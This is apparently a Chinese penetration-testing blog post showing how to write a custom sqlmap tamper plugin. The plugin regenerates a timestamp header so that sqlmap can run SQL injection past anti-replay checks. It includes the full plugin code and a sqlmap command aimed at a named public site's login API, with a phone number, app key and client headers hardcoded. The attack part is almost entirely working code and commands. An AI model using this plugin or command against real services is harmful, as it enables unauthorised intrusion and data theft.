自定义Sqlmap Tamper插件绕过时间戳限制，对目标进行SQL注入
文章作者：[email protected]
1、前置知识：
大家在渗透测试的时候经常会遇到时间戳（timestamp），时间戳用于防范burpsuite的抓包重放攻击，难倒了不少工具黑客，但是遇到代码级的黑客会如何解决这个问题呢？
一言不合上代码，先给出生成时间戳的python代码：
#!/user/bin/env python
#coding=utf8
#auther:[email protected]
import time
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
print timestamp
通过google后，我们知道Sqlmap Tamper插件目录下（D:\sqlmap2016\tamper）有个xforwardedfor.py插件，下面我们贴出代码：
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def randomIP():
numbers = []
while not numbers or numbers[0] in (10, 172, 192):
numbers = sample(xrange(1, 255), 4)
return '.'.join(str(_) for _ in numbers)
def tamper(payload, **kwargs):
"""
Append a fake HTTP header 'X-Forwarded-For' to bypass
WAF (usually application based) protection
"""
headers = kwargs.get("headers", {}) #以字典方式取出header包头数据
headers["X-Forwarded-For"] = randomIP() #将headers包头数据中的X-Forwarded-For地址随机设置
return payload
2、自定义Sqlmap Tamper插件绕过时间戳限制：
文件名：replacehead.py
放到：D:\sqlmap2016\tamper
使用方法：
cd d:\sqlmap2016
python sqlmap.py -u "https://www.sohu.com/openapi/v2/user/login" --data "{\"loginId\":\"13121838135\",\"password\":\"12345\"}" --tamper "replacehead" --dbms="mysql" -v 5 --dbs --proxy=http://127.0.0.1:8080
运行时截图：
文件名：replacehead.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
See the file "doc/COPYING" for copying permission
"""
import hashlib
import json
import ssl
import sys
import time,urllib,string
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Append a HTTP header "X-originating-IP" to bypass
WAF Protection of Varnish Firewall
Notes:
Reference: http://h30499.www3.hp.com/t5/Fortify-Application-Security/Bypassing-web-application-firewalls-using-HTTP-headers/ba-p/6418366
Examples:
>> X-forwarded-for: TARGET_CACHESERVER_IP (184.189.250.X)
>> X-remote-IP: TARGET_PROXY_IP (184.189.250.X)
>> X-originating-IP: TARGET_LOCAL_IP (127.0.0.1)
>> x-remote-addr: TARGET_INTERNALUSER_IP (192.168.1.X)
>> X-remote-IP: * or %00 or %0A
"""
reqBind = "/openapi/v2/user/login"
headers = kwargs.get("headers", {})
#data= kwargs.get("body",{})
headers["Connection"]="keep-alive"
headers["appId"]="MB-MJ-0000"
headers["appVersion"]="01.00.00.00000"
headers["clientId"]="8F5BD72F-EAC5-4A5F-9093-77328C81E1AE"
headers["sequenceId"]="20161020153428000015"
headers["accessToken"]=""
headers["language"]="zh-cn"
headers["timezone"]="+8"
headers["appKey"]="1fff7639ddc580d9cdfb16bde1d67249"
#data="{\"loginId\":\"13121838134\",\"password\":\"12345\"}"
data="{\"loginId\":\""+payload+"\",\"password\":\"12345\"}"
#data=(str)(data)
print data
t = time.time()
timestamp=int(round(t * 1000))
timestamp=str(timestamp)
#timestamp="1521193501374"
headers["timestamp"]=str(timestamp)
print headers
return payload